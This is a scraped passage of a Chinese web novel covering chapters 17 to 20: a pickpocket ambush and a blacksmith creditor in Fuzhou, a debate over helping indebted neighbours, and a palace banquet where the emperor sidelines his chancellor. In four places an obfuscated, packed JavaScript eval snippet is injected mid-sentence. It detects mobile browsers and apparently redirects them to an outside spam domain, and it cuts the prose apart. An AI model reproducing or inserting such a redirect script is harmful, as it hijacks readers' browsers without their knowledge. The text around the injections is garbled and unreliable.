直到一盏茶毕,故事落下帷幕,看客陆续散场。 毫不意外,柳祈很快便被挤入人群中,沈韫不自觉地收紧捏着茶杯的手,紧盯着靠近柳祈的人。 那些人似乎没有想要避开柳祈的意思,有人碰上了他的肩,有人勾住了他的衣袖,还有人撞到了他的腰。 几乎是擦肩而过的一瞬,柳祈腰上的玉佩便不翼而飞。 柳祈伸手抓住那人的肩,话还未说出口,那人便飞快地抓住柳祈的手狠狠往后一推。 柳祈来不及做出反应,在要倒地的瞬间被人扶住了腰。 是沈韫。 她低头确认柳祈无碍,腰间的短剑疾出,沈韫一脚踢在那人的腿上,他登时便跪在了地上。 他还欲逃,可短剑已经抵上了脖子。 “跑哪儿去?”沈韫挑眉。 那人见跑不过便开始耍泼大喊“杀人啦!杀人啦!快去报官,有人要杀我!” “报啊!我倒要看看官府之人要如何惩治你这窃贼!” 沈韫话音一落四周便安静了下来。 那人还在狡辩“什么窃贼?你别贼喊捉贼!明明是你欲当街行凶!” “你既没有偷窃,那你方才跑什么?”沈韫懒得和他废话“把玉佩交出来!否则我便将你扭送官府!” “什么玉佩?你看我身上哪儿来的玉佩?” “你当真嘴硬?” “我身上没有玉佩。你若不信大可以搜。” 他敢说出这话那玉佩便一定不在他的身上,难道这里还有他的同伙? 沈韫的目光在四周扫了一圈,若真有同伙,那人怕是早就离开了。 她没想到竟会着了一个窃贼的道。 “你!”她手上的力道一狠,想要威逼他供出实情。 那人不惧反笑,分明在挑衅。 柳祈见状立马上前,握住沈韫的手示意她不要冲动。 “我那玉佩非比寻常。”柳祈道“那只玉的穗子熏有降真香,你是否拿过闻一闻你的手便知道了。” 那人一听脸色大惊,暗自捏紧了拳。 柳祈轻笑“怎么?不敢?” “你少胡说!” “你不是说她冤枉你吗?那便将你的手伸出来,大家自有论断。” 那人迟迟不肯伸出手,企图将手上的味道擦在衣袖上。 可沈韫不会给他机会。 她一把抓住那人的手腕,他疼得龇牙咧嘴。 柳祈十分配合地接过他的手闻了闻,旋即笑道“看来你不仅是小偷,还是个骗子。” 他扯着他的手伸到周围人面前“各位可为我作证?这人手上分明有降真香的味道,我的玉佩定是他拿走的。” “你既拿了别人的玉佩便还回去吧。”有人出声。 可那人确实拿不出玉佩。 “既然如此,那便去官府吧。” 沈韫作势要押走他,他吓得求饶“我可以带你们去拿回玉佩。” 他带着柳祈和沈韫走了许久,穿入一条偏僻的小巷之中。 “还有多远?”沈韫问。 “就快了,前面就是。” 前面似乎没有路了,沈韫察觉到不对劲,可他却突然从袖中摸出来一把匕首划向沈韫的眼睛。 沈韫往后一仰,锋利的匕首轻轻划过她的脸。 脸上似乎有什么东西,痒痒的热热的。她伸手一摸,指尖染上了鲜血。 身后突然冲进来两个手拿匕首的人,奔着他们的性命而来。 这人故意将他们引到此处便是为了杀人灭口。 沈韫抽出短剑劈向那人的手腕,匕首瞬间从手中脱落,他痛苦地捏着手腕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431299|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “躲好。”她对柳祈道。 巷口的两个人都会些功夫,可与沈韫比起来又逊色太多。 沈韫挡在柳祈身前,恍惚间柳祈仿佛看见了提着剑拼死护住他的母亲。 这个傻子,都跟她说了不要学剑,她竟还是学了。 身后的人从地上爬起来,趁机想要袭击沈韫。 柳祈抢先一步夺走地上的匕首,一脚将他踢倒在地。 他的右手如今已废,柳祈狠狠踩在他本就受伤的手腕上,俯首看他。 他疼得身体扭曲,却无法反抗。 柳祈蹲下身,高高举起匕首便朝着他的手心刺下去。 他的目光阴鸷,这样凶狠的表情实在不该出现在一个温润公子的脸上。 匕首刺穿了骨肉,插进土中,血溅到了柳祈的睫翼上,他明明在笑却让人寒意入骨。 那人怕得要命。 却听见柳祈说“真可惜,这把匕首本该插进你的心脏。” 柳祈真的想过杀了他,可眼下他们还要留在复州,他不能杀人。 “柳望月!”沈韫回头时大惊失色。 柳祈的睫翼上还挂着血,他抬起头,十分从容地冲着她笑“怎么了?” 他的样子像极了一只开了荤腥的狐狸。 “快起来,离开这儿!” 沈韫带他先行回到了曲水。 “把手上的血擦干净。”她递过去一方热帕子。 柳祈慢条斯理地擦着血,之后又从袖中将那把匕首摸了出来。 沈韫惊呼“你把这个拿回来干嘛?” “你仔细看看这把匕首有何问题?” 沈韫将匕首洗净,一看便知道柳祈的意思了。 “这把匕首的刀柄上镶有玉石,刀刃有纹饰,匕首的主人非富即贵。这匕首不是他的东西。” 柳祈点头。 “没想到复州偷盗竟如此猖獗。” “昨日听说复州百姓不是赋税便是还债,偷盗盛行一定跟这个有关。只可惜没问出银铃的下落。” 说来奇怪,裴决和梁昭本应该在茶肆外接应他们,可他们离开茶肆时并未看见二人,他们到此时竟也还未回来。 柳祈猜测“也许裴怜山在茶肆外看到了可疑的人。” 他的猜测不假。 在茶肆内乱成一片时,一位穿着粗布衣服的男子从里面匆匆出来,那人走路姿态硬挺,似是军中之人。 裴决毫不犹豫便跟了上去,却在过桥时被对方甩掉了。 那人竟如此警觉。 如此看来便更加可疑。 裴决和梁昭将桥两头的地方找了个遍,突然发现一家铁匠铺。 铁匠背对着他们,身形与刚才那人十分相似。 裴决上前询问“此处可否制兵器?” 锻打的动作未停,铁匠道“你要制什么兵器?” “你看看这把剑如何?我想融了它重新造一把。” 铁匠转过身,他身上的羊皮褂子带着热气,眼睛上蒙了一层特殊的布条。 他将剑仔仔细细看了一遍,又递回给裴决“这个打不了。” “为何?” 这把剑上有七星龙纹。 他知道眼前这个人并非来打兵器的,他也知道自己逃不掉。 于是他隔着布条平静地看着裴决“这是御赐的宝剑。我虽不知道你的来意,可我只是一个铁匠,实在不知有何能耐能让大人亲自找来?” 18. 分歧 曲水今日来了客,客人正是糜娘子。 沈韫去开的门,糜娘子从未见过她,见门开后愣了好久。 倒是沈韫先开的口“是糜娘子吧?” 她听柳祈说过,旁边住着一户姓糜的人家。 糜娘子连连点头“是是是,我今日来是想请公子一家到家中吃饭,不知公子可方便?” 沈韫侧身让她进去“你先坐吧,我得问问兄长。” 这兄友弟恭的好戏倒是让他们给演明白了。 柳祈对糜娘子的到来也十分吃惊,平白无故地,为何突然上门?况且她的地契不是已经抵债了吗?她还没搬走? 糜娘子又将来意说了一遍,柳祈有了些猜测,向沈韫道“不如问问大哥的意思?” 沈韫明了,去屋内叫出了裴决。 糜娘子一看见裴决便高兴地迎了上去“我夫君明日便要出去了,想请各位公子去家中吃顿饭,不知公子是否方便?” 裴决看了一眼院内紧盯着自己的两人,应下“我们会去的,糜娘子先回去吧。” 院门关上,审问开始。 柳祈率先开口“看来阿昭还是帮了他们?” 梁昭不搭话。 裴决出言“殿下不会不管这些事。” “你就这么急不可耐要去送死?”柳祈冷声道“连人家什么底细都不清楚便伸出援手?你以为那是援手还是找死?” “那也不能什么都不做吧,此事本就关系生民大事,你让殿下如何不管?” “裴怜山!你究竟还要我说多少次?我们兄弟四人来此处寻医,这里没有你的殿下!你若还想查萧家案便管好你的嘴!” “柳望月,我从未见过你这般薄情冷血之人。糜娘子对你有恩惠在先,你却不愿施以援手。你爹好歹是太傅,教得了仁厚帝王,怎么教不会你何为有情有义?” “我爹的事也轮的上你说道?你所谓的有情有义便是他给你一碗粥你就要替他挡刀?这是蠢!” “我是蠢,我做事从不权很利弊,而你永远也学不会真心待人。” “真心稍纵即逝,利益才会长存,若今日我于你无益,你还会任由我挟持吗?” 裴决这才明了,柳祈根本没有相信他。“我以为我们在萧家案上至少是达成一致的,可你竟从未相信过我的合作之心。” “既是合作,为何你做事前不与我商量?我们现在既是一体便同生死共存亡,可你却擅自做主帮了糜娘子,你以为你只是给了她一点银钱,可这会对我们的计划带来多大的变动你想过吗?裴怜山,意气用事迟早会害死你的。” 柳祈说话虽不好听,可却在理。 裴决低头“这件事我会负责。” 柳祈轻哼一声,扭过头去。 沈韫开口打破僵局“如今复州局势诡异,糜娘子也许是一个突破口。” 四人终于赶在饭前到了糜娘子家中,糜娘子的丈夫正在往桌上的碗中倒酒。 “四位公子来了?快进来坐!”糜郎君招呼他们坐下“今日备了些薄酒,四位公子莫要嫌弃。” “糜郎君客气了。”裴决道“我兄弟四人多有叨扰,日后既是邻里还望糜郎君多多担待。” “我听娘子说了,你们兄弟四人是来求医的。我知道城内有一位道医,医术颇高,可惜他时常上山采药,每逢十五才会在城中出诊,公子们可在那天去碰碰运气。” “多谢糜郎君,我们会去看看的。” 饭菜已经摆上了桌,糜娘子笑着让大家动筷“这是我夫君从林中猎的野兔,各位尝尝。” 裴决惊讶“糜郎君会打猎?” “是,我本就是猎户,这不明日又要进山了,这次若能打只猛禽一定能将公子的银钱还清。” 柳祈问道“糜郎君为何欠债?” 糜郎君深叹一口气,道“水灾过后大家都损失惨重,幸得郭大人极力挽救,我们的农田才又种上了庄稼。可是朝廷赋税繁多,我们为了种上庄稼本就向富人借了贷,征税时我们的钱都还给了债主,没钱交税便又只能借贷。如此,债务便如雪球一般越滚越大。” “这么说你们的庄稼苗都是借贷种下的?” “是啊。” 沈韫不解“可青苗价格不贵,庄稼收成之时卖出的价格是借贷青苗的几倍,还那些债绰绰有余。难道你借的贷是高利?” 糜郎君摇头“我们复州的借贷都没有高利,有官府作保,没人敢私抬利息。” 沈韫更疑惑了“官府给民间借贷作保?” 这可是头一次听说。 “公子有所不知,郭大人爱民心切,水灾后放空了粮仓让我们能吃饱饭,担心富人趁机抬高利息赚黑钱,便勒令复州借贷一律不准超过官定利率。郭大人怕富人因此不肯借贷,还规定一户富人必须借贷给一户贫者,这样不仅借贷方便,收贷也有保障。” 一户帮一户,听起来倒是一个好想法。 “既然如此为何还债后便没有银钱交税?” “庄稼卖出时价格比以前低了好几成。这也怨不得别人,行情便是如此,谁都想卖高价,可反而招来更多城外的商户,本地的粮价回落,甚至更低。为了还债我只得进山打猎,可这猎不好打,我勉强还上了青苗的债又得筹钱交税,官府收不上税便会让富人借贷,我便又背上了债务。如此反复,深陷泥潭,这才让公子看见昨日之情形。” 裴决问“郭绍文对这些难道不知情吗?” “郭大人知情,可是郭大人也没有办法,他已经在尽力帮我们了,这一切都是朝廷苛捐杂税所致。” 柳祈的目光落在梁昭脸上,他的表情略显凝重。 朝廷赋税有夏秋两季,可复州刚过水灾,夏季的赋税已经免了,他原以为这便是替百姓解忧了。 可没想到华京之外竟是如此局势。 华京城内富贵繁华,华京城外却苦于赋税。 柳祈问“那糜郎君的债主是何人?” “是一名姓张的铁匠。” 铁匠?裴决的眼睛一亮,追问“可是桥下的那个铁匠铺?” “正是正是!那铁匠脾气不好,长得凶神恶煞的,他便是借贷给我的人。” “你方才说那铁匠姓张?” “是,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437330|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们平时都叫他张铁匠。对了,城内有一伙惯偷,除了官府便只有张铁匠能让他们害怕了。” 看来裴决算是找对人了,那铁匠果然有问题。 吃过饭后,四人回到曲水,将这两日复州所遇到的事一一列出。 先是糜娘子家的债务,再是银铃被盗,现在又牵扯出张铁匠,若想问出银铃的下落,他们还得亲自去一趟铁匠铺。 梁昭用水在桌上写下:去找郭邵文。 柳祈知道他想解决复州百姓深陷债务的事。 可这对逃犯而言是自投罗网。 柳祈回绝“我们不能露面。” 梁昭写下:我只想问赋税之事。 他是皇子,本该心系百姓。 柳祈松口“待找到张晁离开复州那日,我会带你去见他。” 裴决从回来后便一言未发,他始终有一个疑惑“糜娘子的夫君说城内的惯偷惧怕张铁匠。可是为何会怕一个铁匠?” 柳祈反问“若是你,你会因何而惧怕一个人?” 裴决想了想,道“那人要杀我,或者能杀我。” 沈韫补充道“又或者他的手上捏住了我的把柄。” 柳祈也道“也可能不是把柄,是我想要的只有他能给我。” 一切问题的突破口便在铁匠和那窃贼身上了。 裴决提议“我与阿昭再去找铁匠,你与沈怀珠去找窃贼,天黑之前回到曲水。” “好。” 沈韫和柳祈又去了昨日那个窄巷。 地上的血迹还未擦掉,打斗的痕迹尚在,昨日那三个人却没有出现过了。 他们打听了一圈,得知那几个惯偷住在荒废的洗衣坊。 那洗衣坊原本是复州一位富商所开,后富商搬入华京,洗衣坊便一直空置,成了乞儿窃贼的容身之所。 洗衣坊的牌匾还在,褪了色的绸布不规整地挂在匾上,风一吹那几根绸布便慢悠悠地飘动,这景象总让人寒意四起。 两人刚一走进门口,便听见里面有人说话,声音颤颤巍巍,像在求饶“我真的不知道在哪儿,那东西被人抢走了。我求求你就饶过我这一次吧!” 听声音像是昨日那个行窃之人。 沈韫看向柳祈,两人都甚觉蹊跷。 他会向谁求饶? 沈韫示意柳祈躲起来,看见柳祈躲好之后她便起身来到墙角。 洗衣坊的墙有些高,她找了个地方借力才爬上墙。 昨日那个窃贼面朝着沈韫的方向,右手缠着白布,一个劲儿地对这前面的人磕头。 他面前的人被树枝遮住了身体,只露出一部分衣角,单看衣料便可知那人是位贵人。 可这便更奇怪了。一位贵人为何会出现在洗衣坊?又为何会与一个窃贼有来往? 沈韫本想换个地方,好看清那贵人的长相,可却突然发现他的身边站着一个护卫。 那护卫也注意到了她,一只袖箭卒然射出,沈韫翻身一跃落入墙内,那箭险些划破她的脖子。 她刚站定,便看见护卫带着那贵人跳墙离开,洗衣坊内只剩下跪在地上的小贼。 19. 变天 就快冬至了,宫中筹备了一场盛宴。 裴决失踪的消息让梁康成对梅映雪的成见更大了,在宫宴前梅映雪曾几次求见,可都被梁康成拒之门外。 从梁康成还是皇子的时候梅映雪便跟着他,他太了解梁康成了。 如今梁康成对他怕是只剩下猜忌了。 可他怎么也想不通,裴决为何会被挟持。他的武功在朝中算是排得上名号,难道柳祈还有别的帮手? 他想得入神,没有注意到陆续到达宫门前的官员们。 他们远远就看见了梅映雪,若是换作往日他们早就争先恐后去跟梅大人攀谈了,可如今他圣眷已失,是帝王疑心之人,谁都巴不得绕着他走。 宫门终于打开了,梁康成身边的冯内臣前来知会“各位大人久等了,请入内吧。” 此次宫宴分别由梁康成和皇后操持,各官员的女眷都被请到了皇后的宫中用膳。 在冯内臣的引路下,一众官员很快便到了地方。 梁康成此时正坐在高位。 “臣等参见陛下。” 他们躬身,似是在向君威低头,可梁康成心知肚明,这其中少不了狼子野心之臣。 “都起来吧。适逢冬至,往年宫中都有设宴,今年也不例外。众爱卿快入座。” “谢陛下。” 梅映雪的位置依旧靠前,可梁康成却连一个正眼也没给他。 “进来天气愈发冷了,朕让人温了些梨酒。这酒中之梨用的是北关的秋露白,各位爱卿可一定要尝尝。” 坐在梅映雪旁边的一位官员开口“臣还记得上次喝秋露白酿的梨酒还是驸马高中,陛下于宫中设宴为公主指婚之时。” “王爱卿说得不错。上次喝这酒是有喜事,今日喝这酒同样有喜事。”梁康成虽是笑脸可语气间却丝毫没有高兴之意“北关的李令则任职以来徇私枉法、不堪重任,北关城内官商勾结,在其位却不能谋其职,此为罪一!皇子失踪,李令则排查不力,害朝廷命官被挟持,此为罪二!此等罪臣已押回大理寺问责,晟朝又捉除一只害虫,岂能不算喜事?” 众人已经听得不敢抬头,圣言在耳,君怒如雷,他们终于知道梁康成为何会特意将秋露白拿出来了。 “陛下圣明,为晟朝除害,实乃喜事!”王爱卿道。 见有人开口,那些人便跟着高喊“陛下圣明,为晟朝除害,实乃喜事!” 梁康成满意地看着一众官员,目光最终停留在梅映雪的身上,他最想借此事敲打的人便是这位梅丞相,想必他自己亦是心知肚明。 “驸马。”他看向符珩“裴爱卿失踪一事可有进展?” “回陛下,裴大人最后去的地方是挽风楼,臣已让人前去审问,暂没有更多的消息。” “嗯,这事得好好查。”梁康成又看向坐在符珩旁边的梁玄,问“玄儿,老四的事你查得如何了?” 他早就做好了打算,裴决并非他真正所托之人,他唯一信得过的只有他的骨肉。 救回梁昭的重担自然只能落在大皇子梁玄的身上。 “回父皇,我已派人去了离北关最近的京口,有覃将军在,阿昭定不会有事。” “你办事朕自然放心。不过那小贼心思颇多,他们也许并未去京口,你再多派些人手。天大地大,我还不信翻了这天还找不出一个地上跑的人。” “是,儿臣已加派人手,父皇不用忧心,如今各地都在通缉柳祈,能让他躲的地方不多了。” “各爱卿可还有有事要禀报?”梁康成问。 众人将头埋得更低了,他们知道梁康成想听什么。 四皇子失踪多日,朝中官员却没有一个找得出线索来。 他们个个唯恐因此事受迁怒,连大气都不敢出。 符珩起身“陛下,臣有一事要报。” 梁康成点了点头,示意他说。 “渭州陈竺一案已结,杀人者宋鹊已自裁于狱中。代知远虽在此事中作用很大,可书院惨案仍有疑点,臣以为代知远也许不是真凶,至少不是唯一的真凶。” 一提起这件事梁康成就气得头疼,代氏一族风光无限,哪怕旁支都连带着享尽敬仰,可没想到酿成大祸的却依旧是这样德高望重的大族。 到底要怎样才能喂饱这些豺狐! “胆敢以权谋私买卖官职,代知远简直是胆大包天!单这一件事就够朕杀他千遍万遍了!书院案还有何疑点?” “书院里的人都是死于剑下,伤痕位置、力度都相差无几,可唯独门口那具尸体不一样。他的致命伤不在脖颈,亦不是被剑所伤,是匕首,伤在心口。若代知远当真找人灭口,为何会不知其子所为?既然决定灭口又为何独留门口那具尸体死因不同?臣以为代知远的自辩有理,书院惨案应当再查。” 梁康成思索了片刻,没有当即应下“此事待宫宴之后再说。” 一顿忐忑不安的冬至宫宴终于结束了,离席时各位官员都擦了一把汗,巴不得快点离开。 只有梅映雪还站在原地,他想用旧时情谊替自己再争一把。 出乎意料的是,这次他还未开口梁康成便先道“梅映雪,你跟我来一趟。” 勤政殿内,梁康成又一次屏退众人,偌大的宫殿只剩下他们二人。 以往很多次,他们都这样相处。 梁康成坐于高台之上,许是宫宴喝了酒又吹了风,他的眉心隐隐作痛。 他一边揉着眉,一边问“听说你来找过朕很多次?” 梅映雪垂首,毕恭毕敬地道“是。” “有何事?” “陛下明鉴,”他跪下,陈辞赤诚“裴决一事并非臣之错,臣对陛下绝无二心。” “可裴决是你养大的祸患。” “如今裴决已不再是祸患了。若他能救回皇子便足以表明他的真心,若他不能那便有千百个理由治他死罪,臣以为裴决不足为患。” “他不是你的义子吗?你竟如此狠心?” “臣当年便错在心软,同样的错臣不会再犯二次,恳请陛下相信臣。” 梁康成终于肯正眼瞧他了“梅映雪,还记得你我第一次来勤政殿是为何吗?” “记得。当年陛下还是皇子,写的文章是几个皇子中最出色的,因此事被召至勤政殿,我便在门外等着陛下。” “你知道那天父皇对我说了什么吗?” 梅映雪摇头。 “我原以为等待我的是封赏,可父皇却说文章虽好却有不及。我一直都知道他更喜欢五弟,可我没想到他竟连继承皇位都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444875|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不看好我。在他心中,无论我做什么都比不上五弟。他说可惜了我的才情。”这么多年了,再想起那天的场景梁康成依旧觉得苦涩。 “才情?可惜?是可惜了我这满腔才情没有长在他钟爱的儿子身上吗?为什么?为什么明明我比五弟更适合这个位置,可他却好似我是一个偷窃者?” 梁康成长舒一口气,问“你还记得那天出来后我跟你说了什么吗?” “记得。”梅映雪答“陛下说日后要做一位贤君,要臣和你一起闯出一片天。” 往日历历在目,那年他们正当年少,豪言壮志鲜衣怒马,那时的路好似并不算难走,那时的人心也没有这般难测。 他们也曾毫无保留地信任彼此。 “梅映雪,朕最恨被亲近之人背叛。朕信了你二十年,你告诉朕时至今日该不该信你?” 梅映雪跪在地上,叩首道“恳请陛下再给臣一次机会。臣二十年如一日,绝无异心!臣之今日皆是陛下所赐,臣此生定当鞠躬尽瘁,为君赴死。” “朕不用你赴死。你即刻回府,暂避朝堂,好好想想十一年前你埋下的祸端该如何终止。” 这消息如一道雷劈下,将梅映雪与梁康成的幼时情谊彻底斩断。 尽管他如此了解梁康成,可依旧抱有期望,他以为梁康成至少会再听听他的解释。 可他忘记了,梁康成不再是少时的梁康成,他当了十一年的皇帝,或许他们之间的嫌隙早就埋下了。 他是该庆幸幼时的情谊保住了他的一条命,还是可悲帝王之心变幻莫测。 “你回去吧,让符珩进来。”梁康成毫不留情地道。 “是,陛下。” 片刻后,符珩入内。 “你方才说要重查书院案?” “是,此案还有疑点尚未查清。” 符珩还欲细讲,却听见梁康成轻飘飘地说“就这样定罪吧。” 他只当是自己听错了,错愕地看着高台上的君。 梁康成察觉到他的目光,坐直了身子,又说了一遍“就这样定罪吧,渭州的案子该结束了。新官就要上任了,别让这些事一直耽搁着,大理寺还有更重要的案子要做。” 符珩辩解“可此案死了那么多书生,同样重要。” “这不一样。”梁康成的头又开始痛了,他皱着眉,态度坚硬“朕说了,此案就这样定罪。光是买卖官职这一个罪就够代知远死千次万次了,多加一个罪也无妨。” “陛下,这可是断案,不是儿戏。” “还轮不到你来教朕!”梁康成拍案怒道“朕之前便提醒过你,朝堂之上你我本就是一家,既娶了我的女儿,你做事前便该多为她考量。到底是你的正义重要,还是你的家人重要?” “陛下!此案……” “够了!朕说得还不够明白吗?此案没有再查的必要,你若执意忤逆朕,朕便革了你的职找一个能听懂话的当少卿。” 梁康成摆了摆手,示意符珩退下“对了,你去知会冯内臣,让他拟旨,梅丞相告病,他的职位由王爱卿暂代。” 王狄暂代丞相之位? 梅映雪十一年的地位竟都会撼动? 符珩诧异地看着金銮上的帝王。 看来这朝堂怕是要翻天了。 20. 抉择 皇后宫中女眷众多,好几位官员的夫人都有到了婚嫁之龄的女儿,于是便趁着这个大好的机会想要为自己女儿攀亲。 皇后询问梅映雪的夫人“梅夫人的爱女可也到了婚嫁的年纪了?” “回娘娘的话,凝之确已到了谈婚论嫁的年纪了。” “梅夫人可有合适的人选?” “还没有。” “梅夫人的千金生得极好,我看着甚是喜欢,梅夫人可得仔细替她挑一个好夫婿。” 梅夫人起身行礼,欢喜道“多谢娘娘抬爱。” “我听说王夫人的爱子也到了年纪了?”皇后又问王夫人。 王夫人笑道“回娘娘,确实是。犬子贪玩,还不知哪家的姑娘能看上他呢。” “华京谁不知道王大人家的公子面如冠玉,怕是得不少姑娘青睐呢。” “娘娘谬赞了,犬子空有一副好皮囊,到了这般年纪了也不见得收敛心性。妾身如今连为他说亲都不敢,生怕耽误了别家姑娘。” “王夫人言重了。王氏祖上是贵戚功臣,封侯拜相,跟着陛下南下华京。这些年王氏劳苦功高,陛下常说委屈了王大人收了封地又夺了封号。虎父无犬子,王大人如此为大局着想,想来王大人的爱子亦是位德才兼备的君子。” 当年迁都华京,梁康成以重建都城为由将淳宁侯王狄留在华京,后又因为改制收了封地夺了封号,淳宁侯成了王大人。 这一切都是梁康成为了削弱世家权力的计谋,而这计谋还是当年梅映雪同他一起商议的。 王夫人应答自如“自开国起王家便深受重用,王家对此感激不尽,何来委屈一说。” 皇后满意地点了点头,继续问道“今日王公子可来了宴席?” “犬子去了复州探亲,妾身家中长辈抱病,他便替妾身去照看。” “倒是个有孝心的孩子。” 皇后与在场的女眷都寒暄了遍,随后低声招呼明爻过来。 “你带些吃的送去代贵妃的宫中,让她宽心些,她还怀有身孕,千万注意身子。” “是。” 明爻叫走了两个宫女,随她前往代贵妃的寝宫。 因为代知远的案子,梁康成迁怒代家,想借此事打压代家的势力,于是代贵妃受牵连被禁足。 去代贵妃的寝宫要经过庆宁宫,那是皇子们住的地方,也是楚南煜住的地方。 今晚宫宴,庆宁宫的皇子们都去了前殿,庆宁宫内的守卫少了许多。 明爻心中有了些别的打算,于是她从代贵妃寝宫中出来时借口支开了那两个宫女,在夜色的掩护下,她偷偷溜进了皇子的寝殿。 庆宁宫内没什么人,她循着记忆中的路,绕过假山水池,走过长廊。 这里只有一个屋子亮着烛火,那应该便是楚南煜住的地方。 她站在门前,犹豫着是否要见这个人。 她听说楚南煜是梧州来的,他的义兄绑架了梁昭,他会不会对梁昭的去向知情? 可这是皇子的寝宫,她偷溜进来本就于礼不合,如今再深夜会见外男,怕是更说不过去。 明爻犹豫了片刻,最终还是决定离开。 在她转身的一瞬间,鼻尖撞上了某个人的肩膀,她吓得不轻,猛地往后一退却又狠狠撞上了门。 她抬头,惊诧地看着近在咫尺的男子。 那男子面庞俊朗,眉眼含笑,正低头看着她。 明爻被他堵住了去路,他们之间的距离过近,可他并不打算退步。 “姐姐找谁?”他笑着。 明爻的脸颊有些发烫,往旁边撤了一步“你是楚南煜?” 楚南煜偏了偏头,道“姐姐找我?” 他真的是楚南煜。 明爻疑惑“你不应该在屋……” 话还未说完,远处传来守卫巡视的脚步声,楚南煜飞快抓住明爻将她带进了屋内。 屋内烛火通明,窗上的影子险将二人暴露,楚南煜将明爻推入帷幔之中。 守卫离去,他才走到帷幔前,对其中之人道“姐姐今夜来此是有何事?” 明爻从帷幔中出来“你可知道我是谁?” 楚南煜将她细细打量了一番,穿得华贵,步若生莲,黛眉红唇,珠钗簪发,好一个玉人。 如此年纪轻轻却能在宫中行动自如,想必应是那梁康成的女儿。 他道“不知姐姐是哪位公主?” 明爻惊讶于他的回答“你见过我?” “我自来了宫中便一直在庆宁宫,今日是我们第一次见面。” 时辰不早了,明爻没那么多时间问旁的。 于是她开门见山问“你可知道阿昭的消息?” 她不是第一个来问梁昭消息的人。 楚南煜转身为自己倒了一盏茶“不知道。” “可绑走阿昭的是你义兄。” “义兄做的事跟我有何干系?” “他做的事你难道不知情吗?” “你想从我这儿问到梁昭的消息?”楚南煜觉得好笑“如果我真的知道他的消息你觉得义兄为何会骗我入华京?” “骗你?” 楚南煜抬头,眉间聚满了怒气“义兄只告诉我要入华京,可从未说过是当质子。” 他当真不知情? “他为何会绑走阿昭你也不清楚?” “也许是为了当皇帝?” 明爻大惊失色。 她的表情让楚南煜忍不住笑出了声“我猜的。” 这人竟还在跟她说笑吗? 明爻有些生气,问“你当真不知道阿昭的消息?” 楚南煜一改刚才的模样,倒有几分谈判的样子“我若知道你能给我什么好处?” “我可以放你出宫。” 楚南煜摇摇头“我不要这个。” “那你想要什么?” 楚南煜想了想,说“我想吃白酥酪。” “白酥酪?” 明爻没想到他竟是要吃的。 “我来这宫中便没有人对我好。往日我在梧州想要什么就有什么,白酥酪、玉梨圈,什么好吃的都能吃到,可来宫中这么久我便没吃到过一顿喜欢的饭菜。我不要那些旁的虚的,我只要当下就能兑现的东西。” 明爻半信半疑地问“白酥酪是梧州的吃食?我明日便让宫中做了给你送来。” “我不要吃宫里的。”楚南煜道“我只要盈果桂花铺的白酥酪。” “为何非是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449691|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的白酥酪?” “因为只有盈果桂花铺才会做白酥酪。这么简单的要求,公主姐姐难道也办不到吗?” “若我给你买来了,你就会告诉我阿昭的消息吗?” “当然。不过,”楚南煜目光一沉,语气变得有些奇怪“这件事只有你我二人知晓,若有第三人知道了,那你就算是杀了我也别想得到梁昭的下落。” 话罢,他的眸中又染上了笑意,只听他轻声开口道“公主姐姐,我从不食言。” 明明长相如此乖巧,可说话却似藏着刀一般。 明爻有些后悔踏入这座宫殿。 “改日我将白酥酪给你带来,希望你能兑现你的诺言。” 她转身欲走,听见他在身后说“白酥酪一定要选东昌蜜做的,别的味道都欠佳。” “知道了。” 她走后楚南煜心情大好,他一直在找机会与宫外取得联系,可没想到机会竟自己送到了跟前。 他今夜趁着防守调离跑出了宫殿,得到了一个颇为奇怪的消息:梅映雪失势,王狄爬上了丞相之位。 梅映雪失势在意料之中,这本就是柳祈的一步棋。可为何上位的会是王狄? 他原以为按梁康成的脾性,他是不会放心让被剥去封号的侯爷掌管大权的。 可为何他会如此信任王狄? 待明爻回到席间时已近尾声了,皇后疑惑她为何去了这么久,她随便找了个理由搪塞过去了。 前殿的宫宴也已结束,符珩在宫门外等着明爻一起回去。 